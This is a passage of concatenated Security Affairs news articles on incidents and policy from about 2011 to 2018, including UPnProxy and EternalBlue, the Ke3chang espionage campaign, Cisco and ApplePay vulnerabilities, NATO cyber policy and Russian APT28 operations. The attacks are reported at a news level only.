events into account, Akamai researchers believe that someone is attempting to compromise millions of machines living behind the vulnerable routers by leveraging the EternalBlue and EternalRed exploits.” continues Akamai., “Unfortunately, Akamai researchers are not able to see what happens after the injections are have occurred , they can only see the injections themselves and not the final payloads that would be directed at the machines exposed. However, a successful attack could yield a target rich environment, opening up the chance for such things as ransomware attacks, or a persistent foothold on the network.”, Experts observed millions of successful injections attempting to compromise millions of systems running SMB services, Akamai researchers speculate attackers are leveraging the Eternal family of exploits belonging to the NSA arsenal., Hackers hijacked some 45,113 routers that expose a total of 1.7 million unique machines to the attackers., “Additionally, there is no way to tell if EternalBlue or EternalRed was used to successfully compromise the exposed machine. However, if only a fraction of the potentially exposed systems were successfully compromised and fell into the hands of the attackers, the situation would quickly turn from bad to worse,” states Akamai., According to the experts, that attackers are being opportunistic, they are scanning the Internet for SSDP and pivoting to the TCP UPnP daemons or is targeting a set of devices that use static ports (TCP/2048) and paths (/etc/linuxigd/gatedesc.xml) for their UPnP daemons., “Criminals are clever, and will take any advantage they can get when it comes to exploiting systems and services. So, while it is unfortunate to see UPnProxy being actively leveraged to attack systems previously shielded behind the NAT, it was bound to happen eventually.” concludes Akamai. “That these attacks likely leverage two well-known vulnerabilities, which have been patched for some time, should come as no surprise.”, Pierluigi Paganini, (Security Affairs – UPnProxy, NSA hacking tools) |
5691_62958 | Instantly we were collecting data showing the determination of people trying to gain “root” access to our Server., Our data shows us that on the 21/August/2017 we had 150,000 failed logon attempts, We will start by describing the attack type and potential risk involved., Brute force attack, SSH service authentic action attack, Brute force (also known as brute force cracking) is a trial and error method used by application programs to decode encrypted data such as passwords or Data Encryption Standard (DES) keys, through exhaustive effort (using brute force) rather than employing intellectual strategies., Attempts graph at the time of this report., , Failed Logins – Failed Logins. Last 150 Events, As shown in the chart below 27.1% of the attacks including the 1st IP to attempt SSH access was from China closely followed by Russia via a botnet attack., , This attack started on 19/08/2017 and is still ongoing at over 20k attempts per day (Please note this attack is being monitored 24/7 by Frontline Cyber Security Ltd and is against one of our test servers using honey pots)., We are sharing this information we are gathering with Action Fraud to help people detect and defend against future attacks from the target IP addresses., Further details on this attack can be found on our Open Threat Exchange profile via the link below., If this attack was to target your company servers the risks are very high depending on your password strength and server security see below (with speed of 1,000,000,000 Passwords/sec, cracking an 8-character password composed using 96 characters takes 83.5 days. But a recent research presented at Password^12 in Norway, shows that 8-character passwords are no safer. They can be cracked in 6 hours), If they crack your root – admin password they essentially control your server so please ensure you have protection in place for example:, Rate Limiting the Login Attempts, Hiding the login page, Using htaccess, Hardware Firewall / IP Tables, Two-factor authentication enabled., Thank you for reading., About the author: Frontline Cyber Security Ltd, Company Registration Number 10803746 Newark, Nottinghamshire – United Kingdom, [email protected], Pierluigi Paganini, (Security Affairs – Brute force attack, cyber security) |
5760_63598 | The researchers analyzed over 73,000 Macs systems and discovered that a worrisome number of Apple Mac computers either fails to install security patches for EFI firmware vulnerabilities or doesn’t install security updates at all., “We then gathered OS version, build number, Mac model version, and EFI firmware version from over 73,000 real-world Mac systems deployed in organizations across a number of industry verticals to give us a large dataset of the Apple EFI environments that are in production use.” states the report published by the experts., “Our research has shown there are considerable discrepancies in how Apple provides security support to its EFI firmware as compared to how they support the security of the OS and software.”, According to the research paper, 4.2 percent of machines in production environments are running EFI versions different from what they should be running., “On average, 4.2% of real-world Macs used in the production environments analyzed are running an EFI firmware version that’s different from what they should be running, based on the hardware model, the OS version, and the EFI version released with that OS version.” states the research paper., The situation is worse for certain Mac models, such as the iMac 21.5 inch of late 2015 for which experts observed a 43 percent discrepancy. The experts noticed that 16 combinations of Mac hardware and OSes had never received any EFI firmware update during the lifetime of the 10.10 to 10.12 versions of OS X/macOS., The situation is, even more, critic because Apple does not even warn its customers of the failed EFI update process or technical problems resulting in millions of Macs users vulnerable to cyber attacks., , Apple uses Intel-designed Extensible Firmware Interface (EFI) for Mac computers that runs before macOS boots up and has higher-level privileges. An EFI malware could be exploited by attackers to gain full control of the device without being detected., “In addition to the ability to circumvent higher level security controls, attacking EFI also makes the adversary very stealthy and hard to detect (it’s hard to trust the OS to tell you the truth about the state of the EFI); it also makes the adversary very difficult to remove – installing a new OS or even replacing the hard disk entirely is not enough to dislodge them.” states the Duo researchers., You will be surprised by knowing the numbers for some specific Mac models—43% of the analysed iMac models (21.5″ of late 2015) were running outdated, insecure firmware, and at least 16 Mac models had never received any EFI firmware updates when Mac OS X 10.10 and 10.12.6 was available., , “For the main EFI vulnerabilities that were acknowledged by Apple and patched during the time of our analysis, there were surprising numbers of models of Macs that received no update to their EFI despite continuing to receive software security updates,” Duo researchers say., It is very disconcerting to know that even if users are running the latest version of macOS and have installed all the security updates issued by the tech giant they are still exposed to cyber attack., “Even if you’re running the most recent version of macOS and have installed the latest patches that have been released, our data shows there is a non-trivial chance that the EFI firmware you’re running might not be the most up-to-date version,”, Duo experts also found 47 models that were running 10.12, 10.11, 10.10 versions of macOS and did not receive the EFI firmware update that addressed the known vulnerability, Thunderstrike 1., While 31 models did not receive did not receive an EFI patch for Thunderstrike 2., The Thunderstrike attacks were first exploited by the National Security Agency (NSA), agents. According to documents belonging to the WikiLeaks Vault 7 data dumps, the agency developed the “Sonic Screwdriver” project, which is a “mechanism for executing code on peripheral devices while a Mac laptop or desktop is booting”allowing an attacker to boot its attack software for example from a USB stick “even when a firmware password is enabled”., The technique allows a local attacker to boot its hacking tool using a peripheral device (i.e. USB stick, screwdriver),“even when a firmware password is enabled” on the device. This implied that the Sonic Screwdriver allows attackers to modify the read-only memory of a device, the documents revealed that malware is stored in the Apple Thunderbolt-to-Ethernet adapter., Pierluigi Paganini, (Security Affairs – Thunderstrike hack, hacking) |
7303_77181 | The flaw was discovered by the Brazilian researcher Mauricio Corrêa, founder of Brazilian security company XLabs. The exploitation of this vulnerability could cause major problems on the Internet., “A proof of concept (POC) made in only one XLabs server generated a traffic of 69 gigabits per second,” Mauricio told Cibersecurity.net.br. , At the time of the discovery, the expert queried Shodan and found that there were nearly 2.6 million servers running RPCBIND on the Internet. The multiplication of this exploit in a 2.6 million server farm leads to a frightening conclusion., , RPCBIND is software that provides client programs with the information they need about server programs available on a network. It runs on port 111 and responds with universal addresses of the server programs so that client programs can request data through RPCs (remote procedure calls)., These addresses are formed by the server IP pool plus port. Since its launch, RPCBIND has been receiving updates that cover several failures, including security. This, however, is the most serious finding so far., The discovery of the crash began on June 11 this year. On that day, one of the web application firewalls (WAFs) installed in the XLabs SOC (security operations center) detected an abnormal pattern of network traffic that caught the eye of Mauricio., The data showed that a DDoS attack was in progress, coming from port 111 of several servers, all from other countries., “We then decided to open a server with port 111 exposed on the Internet, with the same characteristics as those who were attacking us and we were monitoring that server for weeks. We found that he was receiving requests to generate attacks, ” he explained. , After further analysis of the subject, it was possible to reproduce the attack in the laboratory., “By analyzing the servers exposed at Shodan, the extent of the problem was confirmed,” continues Mauricio., The problem discovered by Mauricio is worse than Memcrashed, detected in February of this year. In this type of distributed denial of service (DDoS) attack, the malicious traffic generated with the technique is greater than the once associated with the use of memcached, a service that does not require authentication but has been exposed on the internet by inexperienced system administrators. The service runs on UDP port 11211 and its exploitation by cybercriminals has already generated 260GB traffic according to Cloudflare company measurements., After developing the POC, Maurício reported the problem to Oracle’s security team, since RPCBIND is a solution originating from Sun, which was acquired by the company in 2010., He sent the information to Oracle so that the experts of the company could confirm and evaluate the problem. The confirmation arrived by email (see image), with the announcement of the publication date of the patch. It was on Tuesday, October 16, 2019 at 5:00 p.m., Brasília time, 1:00 p.m. in San Francisco, California., The Brazilian version of the post is available on the author’s blog., About the Author: Paulo Brito, Pierluigi Paganini, (Security Affairs – Oracle, DDoS) |
55_927 | “Iran, the super power capable of threatening the world”. This is the title of a hypothetical sensationalist article aimed to enhance the computer skills of a nation of which little is known. In recent weeks the strange coincidence of events is helping to fuel this belief that leaving the majority of Western countries perceive these people as a terrible threat., , , We read of a country the cutting edge of cyber warfare, a Nation that is able to develop and implement an efficient cyber strategy despite the objective difficulties that lives daily. Population of enlightened scientists able to hijack a sophisticated military drone with a spectacular as unlikely cyber attack to its GPS navigator system, scholars pampered by the central Government spending on cyber defense that seems larger portion of its income. The controversial events of the Stuxnet malware seem to confirm my statements, someone has special interest in destabilizing the country by attacking critical structures with sophisticated cyber attacks and using innovative cyber weapons. We read of SCADA systems for nuclear plant brought to their knees by a virus was probably introduced in a critical infrastructure using an USB stick and in the months after the Google CEO, Eric Schmidt, said that:
“Iranians are unusually talented at cyber warfare for some reason we do not fully understand.”
Explicit referencing to certification authority Diginotar hack and to the case of the drone RQ-170.
Iran seems to be considered a serious threat in cyberspace, creating a constant concern., But are we sure that this is true? No one doubts Iran’s capabilities, but there is no doubt that his means and financial resources are nothing compared to those of the U.S., China, Israel and Russia. Although you are faced with a Nation that has fully understood the importance of a cyber strategy we cannot certainly consider it more offensive than others.
Personally I do not believe a single word written about hijacking of the drone. A security expert is willing to believe that the techicals have led the drone landing in enemy territory. I hesitate in-depth technical know how, but it is unlikely the possibility of using injection of fake coordinates with hijacking purpose. We face with communication problems, signals strenght and processes of alignment for the communications, power signals to be delivered to overlap the rightful source of data (consider that the drone was on patrol in an area next to a nuclear plant and therefore a cyber power as Iran is condidered s expected jamming systems), data encryption processes with which no one discussed so far. The drone is over in my opinion for calculation errors in a flat area and for this reason it appeared healthy. The Iranians have exploited the incident to the best in terms of media and propaganda., The more I read the more I am convinced that someone agree to create a new monster, a new enemy against which it unleash its rage in a historical moment in which the Western world is fighting with the worst economical crysis of ever. Are we recognizing this enemy in Iran? For what reasons?, Main reasons I can immagine are, Compounding my thesis there are two events occurred in recent days that will change the political landscape in the coming months:, The first event could have substantial implications on cyber space, reflecting the fact that many people interested in destabilizing the area, many highly trained in cyber warfare., The second event in my opinion is rather crucial in economic terms. Substantially changed an item of expenditure of the U.S. government, and not only, that could free up significant resources to invest elsewhere … cyber weapons and more generally in the cyber strategy., In a scenario do not forget that a wrong media management misrepresented Iran perception, but sir, Iran’s child have the same rights of our children, think first to consider them hostile to us because they will pay the bill., In my opinion, Iran is a nation to be taken into account, which boasts a population of excellence researchers and who understood how critical is the garrison of the cyber space, so we must not demonize Iran, it would be what in football terms we call autogoal, is extremely counterproductive., Merry Christmas to you and your families, Pierluigi Paganini |
3988_49255 | At the Warsaw Summit this weekend NATO, as anticipated weeks ago, the alliance has officially recognised cyberspace as a military operational domain., This means that the NATO alliance will respond with conventional weapons in case of a severe cyber attack confirming that the Internet is a new battlefield., A cyber attack against the critical infrastructure of one of the NATO states can have real world consequence, for this reason, it is essential to improve cyber defense of the members., What will happen now?, Designating cyberspace as an operational domain means that the NATO will spend a significant effort in improving cyber capabilities of its members, it is expected more focus on training and military planning. The cyber defence of the alliance will continue to be integrated into operational planning and its operations and missions, “Cyber attacks present a clear challenge to the security of the Alliance and could be as harmful to modern societies as a conventional attack. We agreed in Wales that cyber defence is part of NATO’s core task of collective defence. Now, in Warsaw, we reaffirm NATO’s defensive mandate, and recognise cyberspace as a domain of operations in which NATO must defend itself as effectively as it does in the air, on land, and at sea. This will improve NATO’s ability to protect and conduct operations across these domains and maintain our freedom of action and decision, in all circumstances.” states the Warsaw Summit Communiqué. “We continue to implement NATO’s Enhanced Policy on Cyber Defence and strengthen NATO’s cyber defence capabilities, benefiting from the latest cutting edge technologies.”, , Each Ally is committed to improving its resilience to cyber attacks and the ability to promptly respond to cyber attacks, including in hybrid contexts. The Alliance aims to expand the scope of the NATO Cyber Range to allow allies in improving cyber capabilities and information sharing on threat and best practices., “Together with the continuous adaptation of NATO’s cyber defence capabilities, this will reinforce the Alliance’s cyber defence. We are expanding the capabilities and scope of the NATO Cyber Range, where Allies can build skills, enhance expertise, and exchange best practices. We remain committed to close bilateral and multilateral cyber defence cooperation, including on information sharing and situational awareness, education, training, and exercises.” continues the statement., The NATO intends to deepen cooperation with the EU who recently passed the new NIS directive that establishes minimum requirements for cyber-security on critical infrastructure operators., If the cyber defence is considerable a must after the Warsaw summit, many experts are questioning about offensive cyber capabilities of Alliance. Almost every state is working to improve its offensive cyber capabilities too. I believe that it is crucial to understand how the member states and the entire alliance intends to operate on the offensive front. Will the NATO improve cyber offensive capabilities too? How?, Another aspect to consider is the response of non-NATO states to approach chosen by the Alliance on the cyber security matter., Some experts speculate that a similar decision could speed up the militarization of the cyberspace, for sure it will raise the debate on Information Warfare and the need for a new legal framework to address these questions., Pierluigi Paganini, (Security Affairs –NATO, Warsaw Summit), |
3401_44619 | In a recent investigation case, security researchers at Sucuri revealed that 26,000 different WordPress sites were generating a sustained rate of 10,000 to 11,000 HTTPS requests per second against one website, and sometimes even peaked at 20,000. The problem is that any WordPress website could be used to attack the availability of other websites if the pingback feature is enabled (its default setting)., The HTTP flood or Layer 7 attacks would inundate the web server with Layer 7 requests resulting in very large DDoS attacks and disrupt a server by exhausting its resources at the application layer and not at the network layer. They do not require as many requests or as much bandwidth to cause damage; they are able to force a large consumption of memory and CPU on most PHP applications, content management systems (CMS), and databases., Founder and CTO of Sucuri, Daniel Cid recommends disabling pingbacks on your site. Although It won’t protect you from being attacked, but will stop your site from attacking others., “The best course of action is to disable pingbacks and if possible, disable xmlrpc altogether if you are not using it. If you are, you can make some very small changes to your .htaccess file to allow only whitelisted IPs to access the file. This might be the case with the popular JetPack plugin.” He said., Figure 1 Taken from It has been known for years that the WordPress pingback service can be abused for DDoS attacks mainly because website owners rarely bother to prevent their site from being added to a botnet. Since the attack is coming from thousands of different IP’s, network-based firewalls will do little to stop the attacks as they only do rate limiting per IP address. The researchers discovered that the majority of IP addresses used in this attack were sites hosted on popular VPS/Cloud/Dedicated server providers: Amazon AWS, Digital Ocean, Google Cloud, Microsoft Azure, Hetzner, OVH and Linode., The researchers discovered that the majority of IP addresses used in this attack were sites hosted on popular VPS/Cloud/Dedicated server providers: Amazon AWS, Digital Ocean, Google Cloud, Microsoft Azure, Hetzner, OVH and Linode., , References:, About the Author, Ali Taherian (@ali_taherian) is an enthusiastic information security Officer. He’s finished his education in information security and has recently been involved in banking software and payment security industry. Taherian is proud to be certified IBM Cloud Computing Solution Advisor and ECSA and enjoys sharing and tweeting about security advances and news., Edited by Pierluigi Paganini, (Security Affairs – DDoS, WordPress) |
3787_47620 | Back in 2013, the security researchers at FireEye spotted a group of China-Linked hackers that conducted an espionage campaign on foreign affairs ministries in Europe. The campaign was named ‘Operation Ke3chang,’ now threat actors behind the attacks were spotted targeting personnel at Indian embassies across the world., The researchers speculate the threat actors behind the Operation Ke3chang had been active since at least 2010, and the bad news is that they are still active. The attackers evolved their arsenal over the time, initially, they had been using three different strains of malware codenamed by BS2005, BMW, and MyWeb., , Recently security experts at Palo Alto Networks detected a new piece of malware, dubbed ‘TidePool,’ that seems to be linked to the group’s activity in the ongoing attacks against the Indian embassies., The hackers launched spear phishing attacks leveraging on an annual report filed by more than 30 Indian embassies as a decoy. The attackers used spoofed email addressed to send out the malicious email., The phishing attacks relied on email with attached an MHTML document that was specifically crafted to trigger the Microsoft Office vulnerability (CVE-2015-2545) and drop the TidePool malware., The malware implements RAT features and presents many similarities with the BS2005, but it appears to be its evolution., “We’ve discovered a new malware family we’ve named TidePool. It has strong behavioral ties to Ke3chang and is being used in an ongoing attack campaign against Indian embassy personnel worldwide.” reads a report published by Palo Alto Networks. “TidePool contains many capabilities common to most RATs. It allows the attacker to read, write and delete files and folders, and run commands over named pipes”, The experts from the Unit 42 noticed that the TidePool and BS2005 malware share 11 similar registry modifications, they implement the same C2 obfuscation and use the same set of library functions., “These samples are quite similar when looking at the library functions used, but the most notable features they have in common are the timeline of behaviors executed. Ke3chang and TidePool both modify the IEHarden registry key, as well as the following list of keys. ” continues the report., The experts noticed that the binaries included resources, encoding was 0x04 (LANG_CHINESE) indicating the systems used by the attackers are likely running a software with Chinese as the default display language., India is the country with the largest number of infections, a circumstance that highlights the country is a high priority target for the attackers., The experts closed the report confirming that the Operation Ke3chang is still ongoing and the malware factory is producing new evolving threats., “Despite going unreported on since 2013, Operation Ke3chang has not ceased operations and in fact continued developing its malware,” concluded the post., If you appreciate my effort in spreading cyber security awareness, please vote for Security Affairs as best European Security Blog. Vote SecurityAffairs in every section it is reported. I’m one of the finalists and I want to demonstrate that the Security Affairs community a great reality., Thank you, Pierluigi, Pierluigi Paganini, (Security Affairs – Operation Ke3chang, cyber espionage) |
4342_52045 | According to the Cisco Security Advisory, an attacker could exploit the vulnerabilities to gain remote access to vulnerable systems and execute code or commands., According to Wednesday’s Cisco Security Advisory, both the Nexus 7000 and 7700 series switches are susceptible to overlay transport virtualization buffer overflow flaws (CVE-2016-1453)., “A vulnerability in the Overlay Transport Virtualization (OTV) generic routing encapsulation (GRE) implementation of the Cisco Nexus 7000 and 7700 Series Switches could allow an unauthenticated, adjacent attacker to cause a reload of the affected system or to remotely execute code.” states the CISCO advisory., This flaw is the result of the “incomplete input validation performed on the size of overlay transport virtualization packet header parameters.”, Cisco has released a software update and workaround to address the flaw and mitigate the risk of exposure., Cisco Nexus products affected by the vulnerability, when configured to use the OTV functionality, are the Nexus 7000 Series Switches, Nexus 7700 Series Switches., The OTV functionality was introduced with Cisco NX-OS Software Release 5.0(3) or later for the Nexus 7000 Series, and Cisco NX-OS., , Cisco also released updates to address a critical vulnerability, tracked as CVE-2015-0721, that is related to the Secure Shell (SSH) subsystem of the Cisco Nexus switches. The flaw could be exploited by a remote and authenticated attacker to bypass authentication, authorization, and accounting (AAA) restrictions and execute commands., “A vulnerability in the SSH subsystem of the Cisco Nexus family of products could allow an authenticated, remote attacker to bypass authentication, authorization, and accounting (AAA) restrictions.” reads the Cisco Advisory.
“An attacker could exploit this vulnerability by authenticating to an affected device and passing a malicious value as part of the login procedure. A successful exploit could allow an attacker to bypass AAA restrictions and execute commands on the device command-line interface (CLI) that should be restricted to a different privileged user role.”, At the time I was writing, Cisco did not provide a workaround for the vulnerability. Less significant were a number of Cisco advisories rated as high; each tied to the company’s NX-OS operating system., Cisco also addressed a number of flaws rated as “high” severe:, CVE-2016-1454 – Cisco NX-OS Border Gateway Protocol Denial of Service Vulnerability., “A vulnerability in the Border Gateway Protocol (BGP) implementation of Cisco NX-OS System Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition due to the device unexpectedly reloading. The vulnerability is due to incomplete input validation of the BGP update messages”, For the following DHCPv4 Packet DoS flaws Cisco has released software updates but no workarounds are available., CVE-2015-6392 -Cisco NX-OS Software Crafted DHCPv4 Packet Denial of Service Vulnerability, “A vulnerability in the implementation of the DHCPv4 relay agent and smart relay agent in Cisco NX-OS Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. The vulnerability is due to improper validation of crafted DHCPv4 offer packets.”, CVE-2015-6393 – Cisco NX-OS Software Malformed DHCPv4 Packet Denial of Service Vulnerability, “A vulnerability in the implementation of the DHCPv4 relay agent in Cisco NX-OS Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device.
The vulnerability is due to improper validation of malformed DHCPv4 packets.”, Pierluigi Paganini, (Security Affairs – CISCO Nexus, hacking) |
852_19978 | U.S.-China Economic and Security Review Commission reported for the first time that cloud computing “represents a potential espionage threat.” , Chinese hackers are a persistent collector of sensitive information, their action is incessant and represent a serious threat for principal internet services., According a congressional commission Chinese hackers are increasing targeting high profile companies, including Google, Microsoft and Apple to spy on US., Last week the U.S.-China Economic and Security Review Commission stated in its annual report to Congress that the Chinese government wages “a large-scale cyber espionage campaign” and “has successfully targeted the networks of U.S. Government and private organizations,”, “Our focus has been on making sure that Defense Department or State Department data, or other government information, is secure,” “To the extent those entities use the cloud as well, we think that they need to get a better grip on who’s actually providing their services and where their data is going.” “If you allow a Chinese entity to provide cloud services then you’re entrusting them with your data,” “That creates with it certain risks.” said William Reinsch, chairman of the commission., The situation is very concerning, cloud computing paradigm raises security issues related to the way data are managed by service providers, clouds also provide to attackers powerful platforms for attacks against strategic targets., , The principal concerns are related to the possible exploit made by Chinese hackers of zero-day vulnerabilities present is the cloud architectures, Cloud computing technology could be abused for cyber attacks against military and government networks ensuring anonymity to the attackers., The US Government is aware of the constant menace moved from China-based hackers, President Obama’s administration has also tried a diplomatic resolution to request Chinese Government in Beijing to adopt necessary measures to stop cyber-attacks originated from its country and that are estimated to cost the US economy as much as $300 billion a year., The report of the commission wrote that China’s Ministry of State Security, which is the country’s main foreign intelligence collection agency, is “closely connected” to a special cloud-computing zone in the city of Chongqing, of course all the Western companies that use could computing services locate in the area are exposed to the concrete risk that their data are syphoned by Chinese intelligence agencies., “Developments in cloud computing in China may present cybersecurity risks for U.S. users and providers of cloud computing services. The relationship between China’s Ministry of
State Security and the Chongqing Special Cloud Computing Zone represents a potential espionage threat to foreign companies that might use cloud computing services provided from the
zone or base operations there. In addition, the plan to link 21Vianet’s data centers in China and Microsoft’s data centers in other countries suggests the Chinese government one day
may be able to access data centers outside China through Chinese data centers states the document.”, In a first time the report explicitly referred Microsoft as possible victims of cyber espionage operated by the Chinese government because the US cloud provider has licensed its products to 21Vianet Group Inc. A Beijing-based company selling online data center services., It seems that Microsoft licenses its Windows Azure and Office 365 products to 21Vianet, but the commission on Nov. 19 backed away from that assertion because it was based on an incorrect report called Red Cloud Rising written by private U.S. Intelligence and security company, Defense Group Inc., based in Vienna, Virginia., In reality the Chinese company 21Vianet, the Chinese company doesn’t have access to “services and datacenters operated by Microsoft outside of China,” according Doug Hauger, the Microsoft’s general manager for China commercial cloud services., The commission recommends in its report that Congress direct the Obama administration “to prepare an inventory of existing federal use of cloud computing platforms and services and determine where the data storage and computing services are geographically located.” The inventory should be prepared annually, it said., The opinion on the report are divided, is security and intelligence specialists fear Chinese cyber threats IT manager believe that the commission’s report could damage a growing industry in China., China’s cloud computing industry will continue to grow despite the strict control of Internet operated by the government of Beijing and be valued at $163 billion by 2015, Many experts believe IT industry will not be able to seize the opportunity also in terms of security., Pierluigi Paganini, (Security Affairs – China, Cloud computing) |
5522_61453 | At the Black Hat USA hacking conference, security researchers from Positive Technologies announced to have devised two distinct attacks against ApplePay exploiting weaknesses in the mobile payment method., ApplePay is considered today one of the most secure payment systems, but Positive Technologies claimed it had discovered two potential attack vectors., “With wireless payments – PayPass, ApplePay, SamsungPay, etc, there is a perception that ApplePay is one of the most secure systems. ApplePay’s security measures mean that it has a separate microprocessor for payments Secure Enclave, card data is not stored on the device nor is it transmitted in plaintext during payments.” said Timur Yunusov, head of banking security for Positive Technologies., “During testing, I have discovered at least two methods that render these precautions worthless. While one relies on the device being jailbroken, which is estimated at 20 percent* and is a practice that the security community opposes, another is against a device that is ‘intact.’ Attackers can either register stolen card details to their own iPhone account, or they can intercept the SSL traffic between the device and the Apple Server to make fraudulent payments directly from the victim’s phone.”, A first attack presented in a talk by Yunusov requires a jailbroken device to work, this means that attackers have to infect a jailbroken device with malware. Once infected the mobile, the attackers can intercept the payment data to an Apple server. Once hackers have successfully infected the device with malware having root privileges, they have reached their goal., , The second attack doesn’t request a jailbroken because hackers intercept and/or manipulate SSL transaction traffic. The attackers tamper with transaction data, for example by changing the amount or currency being paid or the delivery details for the goods being ordered., Attackers can register stolen card details to their own iPhone account to make payments on behalf of the victims, they can intercept the SSL traffic between the device and the Apple Server to make fraudulent payments., “The first step in the second attack is for hackers to steal the payment token from a targeted victim’s phone. To do that, they will use public Wi‑Fi, or offer their own ‘fake’ Wi‑Fi hotspot, and request users create a profile. From this point they can steal the ApplePay cryptogram the key to encrypting the data.Apple states that the cryptogram should only be used once. However, merchants and payment gateways are often set up to allow cryptograms to be used more than once.” Positive Technologies explained to El Reg., “As the delivery information is sent in cleartext, without checking its integrity, hackers can use an intercepted cryptogram to make subsequent payments on the same website, with the victim charged for these transactions.”, The experts highlighted that there are some limitations to the attack, for example, the victim will receive a notification about the transaction as soon as it is made, this means that they can immediately block their card., Researchers recommend to avoid using ApplePay to purchase items online on websites that don’t use the “https” and to avoid making transactions in public Wi‑Fi networks where the attackers can easily eavesdrop the traffic., “The advice, as always, is to avoid jailbreaking a device in the first instance,” said Yunusov who added, “Another precaution is for users to avoid downloading unnecessary applications which will help prevent malware from being added to the device.”, Positive Technology already reported its findings to Apple, but it warns that the development of patches will be no simple due to the significant impact on any components of the security chain., Pierluigi Paganini, (Security Affairs – (ApplePay hacking, Black Hat 2017) |
1687_30690 | ENISA issued the Evaluation Framework on National Cyber Security Strategies (NCSS), an important work that addressed to policy experts and government officials that are in charge for the implementation and evaluation of an NCSS policy. The work was presented on the 27th November 2014 at the first workshop on National Cyber Security Strategies in Brussels., The work resumes a framework on NCSS elaborated by the ENISA in 2012, when the Agency defined a collection of best practices for the implementation of an NCSS through “a well-defined lifecycle.” The previous work also included an analysis on how to align policy and how to involve the private entities. Previous work also includes operational and regulatory objectives., The framework results from the contribution of the leading experts on NCSS that have shared best practices on the above activities. The work considers the eighteen EU National Cyber Security Strategies and eight non-EU strategies and was issued to assist Member States in developing capabilities in the area of NCSS in compliance with Cyber Security Strategy (EU CSS)., The proposed Evaluation Framework on National Cyber Security Strategies (NCSS) consists of the following elements and includes recommendations for proper implementation of the framework itself., , Within the primary goals of the framework there are the achievement of the cyber resilience and the development of cyber capabilities through the improvement of cooperation within public and private sector. The list of elements in the Logic modelling includes:, The Key performance indicators (KPIs) are an essential component for the evaluation of an NCSS and allow actors to measure performance or progress of the implementation of an NCSS. Key performance indicators are crucial in both phases of NCSS implementation and evaluation, from their analysis, it is possible to review objectives during the lifecycle of the program., The KPIs are categorized per objective:, “A National Cyber Security Strategy is an important step that allows Member States to address cyber security risks and challenges. This is a continuous process that requires proper evaluation, in order to adjust to the emerging needs of society, technology and the economy. With this work ENISA provides a systematic and practical evaluation framework that allows EU Member States to improve their capabilities when designing NCSS”. Commented Udo Helmbrecht, the Executive Director of ENISA. , As highlighted in the work, the NCSS has to be adjusted to the needs of different Member States depending on the level of maturity reached in the lifecycle of an NCSS., Let me suggest you the reading of this excellent work., Pierluigi Paganini, (Security Affairs – ENISA, NCSS) |
7325_77315 | At the end of September, Facebook admitted that attackers exploited a vulnerability in the “View As” feature that allowed them to steal Facebook access tokens of 50 Million Users., A couple of weeks ago, the social network giant announced that hackers accessed data of 29 Million users, a number that is less than initially thought of 50 million., According to the company, the vulnerability is the result of the chaining of three flaws affecting the “View As” feature and Facebook’s video uploader., Facebook clarified that the version of the video uploader interface affected by the flaw was introduced in July 2017., On Monday, Japan’s Personal Information Protection Commission ordered a further investigation of the data breach and asked the company to implement preventive security measures., This is the first time that the commission has issued warnings to the social network giant after it has conducted an investigation along with British authorities., According to government spokesman Yoshihide Suga, Facebook told Japanese authorities that the recent data breach also included Japanese users., The commission also ordered the company to improve communication with users being more transparent of the way it manages their data and promptly responding to request for deleting accounts., , Another incident involving the company that affected up to 100,000 Japanese users was the Cambridge Analytica privacy scandal that affected 87 Million users., “It is the first time that the commission, which investigated the data leak with British authorities, has issued warnings to Facebook,” an official told AFP., Facebook added to be committed to “promptly inform users if the platform was inappropriately used and cooperate with the commission and other countries’ regulators” on its website., Pierluigi Paganini, (Security Affairs – social network, cybersecurity) |
4598_54252 | US intelligence agencies blame the Russian government for ramping up infowar against the US and the West. According to the US Government, Russian-state hackers hacked the Democratic National Committee (DNC) and other political organizations worldwide., Hackers conducted campaigns to interfere with the internal affairs of foreign states, last victim in order of time is Germany, this is the opinion of the Germany’s chief of domestic intelligence who warned of this threat last week., On December 8, the Germany’s Bundesamt für Verfassungsshutz (BfV) has issued a press release warning of a rise in Russian propaganda and hacking campaigns., “We see aggressive and increased cyber spying and cyber operations that could potentially endanger German government officials, members of parliament and employees of democratic parties,” reads a statement issued by Hans-Georg Maassen, head of the BfV agency, The goal of Russian hackers is to spread uncertainty, strengthen extremist groups and parties, with the intent of “weaken or destabilise the Federal Republic of Germany.”, Both the heads of the German foreign intelligence agency (BND), Bruno Kahl, and the domestic intelligence agency (BfV), Hans-Georg Maassen, have warned about increasing Russian cyber operations in the country., Foto: Johannes Simon/ ddp, Social media are becoming a new battlefield, the BfV observed a spike in propaganda activities as part of PSYOps and noted an increased number of “spear phishing attacks against German political parties and parliamentary groups.” The German intelligence confirmed that hackers are using the strain of malware that were used to broke in the system of the US Democratic National Committee., “Spear-phishing against political parties and parliamentary groups have increased dramatically. They are attributed to the APT 28 campaign, which was also responsible for the DNC hack. APT 28 successfully exfiltrated data from the German Bundestag in 2015.”, In March security experts at Trend Micro, who follow a long time the operations of the Russian-linked Pawn Storm cyber spies (aka APT 28, Sednit, Sofacy, Fancy Bear and Tsar Team) discovered that the Russian spies targeted the political party of Chancellor Angela Merkel, the Christian Democratic Union., Some experts speculate that also the recent attack against the Deutsche Telekom routers was powered is linked to Russia., The German Parliament, the Bundestag, was targeted by hackers that also hit a number of German politicians, including the Chancellor Angela Merkel., “Such cyber-attacks, or hybrid conflicts as they are known in Russian doctrine, are now part of daily life and we must learn to cope with them.” commented the Chancellor Angela Merkel., “There are findings that cyber-attacks take place which have no other meaning than to create political uncertainty. There is a kind of pressure on public discourse and on democracy, which is unacceptable.”Kahl told the Süddeutsche Zeitung, “Attribution to a state actor is technically difficult, but there is some evidence that it is at least tolerated or desired by the state.” , The German intelligence observed a rise in Russian online propaganda in Germani since the start of the Ukraine crisis., “Since the start of the Ukraine crisis, we have seen a significant increase in Russian propaganda and disinformation campaigns in Germany.” reads a statement issued by the BfV., The German intelligence has explicitly blamed the APT28 as the threat actors behind the hacking campaign used for disinformation activities, the group appears to be specialized in false flag activities. Something similar occurred when Russian Hackers have broken into the French TV5 pretending to be an ISIS-linked group., “This approach represents a previously unseen methodology in campaigns that are controlled by Russia.” , According to Maassen, APT 28 activity is responsible for an unprecedented disinformation campaign., “Propaganda, disinformation, cyber-attacks, cyber espionage and cyber sabotage are part of hybrid threats against western democracies.” said Maassen warning of significant an increase in political 